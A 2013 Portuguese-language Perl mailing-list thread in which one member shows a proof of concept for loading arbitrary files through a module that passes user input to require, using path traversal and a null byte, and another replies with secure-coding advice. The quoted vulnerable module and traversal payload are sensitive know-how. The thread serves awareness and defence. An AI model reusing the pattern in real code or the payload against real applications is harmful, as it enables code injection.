[SP-pm] Perl e Null byte

Blabos de Blebe blabos at gmail.com
Wed Jun 12 09:09:10 PDT 2013


> mas ficou claro que é possível injetar um 'evil code' num código
vulnerável sem muitos problemas.

Correto. Em um código vulnerável é possível injetar 'evil code' sem maiores
problemas. Isso é um bug que existe no nosso universo, infelizmente :)

No caso de Perl e principalmente nos casos onde se faz necessária a
inclusão e execução de código, nós devemos ficar atentos para não escrever
código vulnerável, evitando coisas óbvias como, aplicar 'eval' em strings
que venham de fontes não confiáveis, interpolar entradas do usuário, vulgo,
dar require em nomes de arquivos que venham de entrada do usuário e coisas
do gênero.

Existem módulos no cpan, especialmente criados para lidar com essas
situações, nem sempre da melhor maneira possível.

No link abaixo, podemos encontrar a ponta do iceberg e começar a conversa:

http://blogs.perl.org/users/michael_g_schwern/2011/10/how-not-to-load-a-module-or-bad-interfaces-make-good-people-do-bad-things.html

[]'s


2013/6/11 Junior Moraes <junior em fvox.com.br>

> Hi.
>
> Estava aqui mexendo com uma aplicação que utiliza o módulo AnyData[1]
> dentro de um webservice que retorna as informações desejadas. Neste módulo,
> temos o método adExport() que recebe um parâmetro (que, no caso da
> aplicação, era recebido via GET) referente ao 'format' e tenta instanciar o
> módulo.
> Fiquei brincando de manipular o path com esse parâmetro, mas a
> concatenação da string '.pm' dificultava as coisas. Porém, como na
> exploração de um RFI/LFI (Remote/Local File Inclusion) no PHP, é possível
> ignorar isso com o bom e velho null byte[2].
>
> Escrevi um exemplo prático:
>
> $ pwd
> /home/fvox/poc
>
> $ cat Module.pm
> package Module;
>
> use common::sense;
> use Moo;
> use Carp;
>
> use vars qw(@ISA @EXPORT);
> @ISA = qw(Exporter);
> @EXPORT = qw(testing);
>
> sub testing {
>     my $plugin = shift;
>
>     my $module = 'Module/' . $plugin . '.pm';
>     eval { require $module; };
>     croak $@ if $@;
>
>     $module =~ s/\//::/g;
>     $module =~ s/\.pm$//gi;
>     my $obj = $module->new;
> }
>
> 1;
>
> $ cat inc.pl
> print "Null Byte injetado com sucesso! :)\n";
>
> $ perl -MModule -E'say testing("../../../../../../../../../home/fvox/poc/inc.pl\00");'*Null Byte injetado com sucesso! :)*
> Can't locate object method "new" via package "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl" (perhaps you forgot to load "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl"?) at Module.pm line 21.
>
>
> Não fiz nenhum experimento em alguma aplicação real, mas ficou claro que é
> possível injetar um 'evil code' num código vulnerável sem muitos problemas.
> Suponho que também funcione na função open(), entre outros casos.
> Alguém já tinha brincado com isso antes? Hhauhauh
>
> PS: Desculpem se isso for muuuito antigo. É que só fui dar uma de
> retardado e brincar com isso em 2013... :P
>
> [1] https://metacpan.org/module/AnyData
> [2] http://en.wikipedia.org/wiki/Null_character
>
> --
>
> ====================================
> Junior "fvox" Moraes
> Linux Reg. #557527
> junior[at]fvox[dot]com[dot]br
> fb[dot]com/juniorfvox
> twitter[dot]com/fvox
> ====================================
> =begin disclaimer
>    Sao Paulo Perl Mongers: http://sao-paulo.pm.org/
>  SaoPaulo-pm mailing list: SaoPaulo-pm em pm.org
>  L<http://mail.pm.org/mailman/listinfo/saopaulo-pm>
> =end disclaimer
>
>
-------------- Pr�xima Parte ----------
Um anexo em HTML foi limpo...
URL: <http://mail.pm.org/pipermail/saopaulo-pm/attachments/20130612/7a913006/attachment.html>


More information about the SaoPaulo-pm mailing list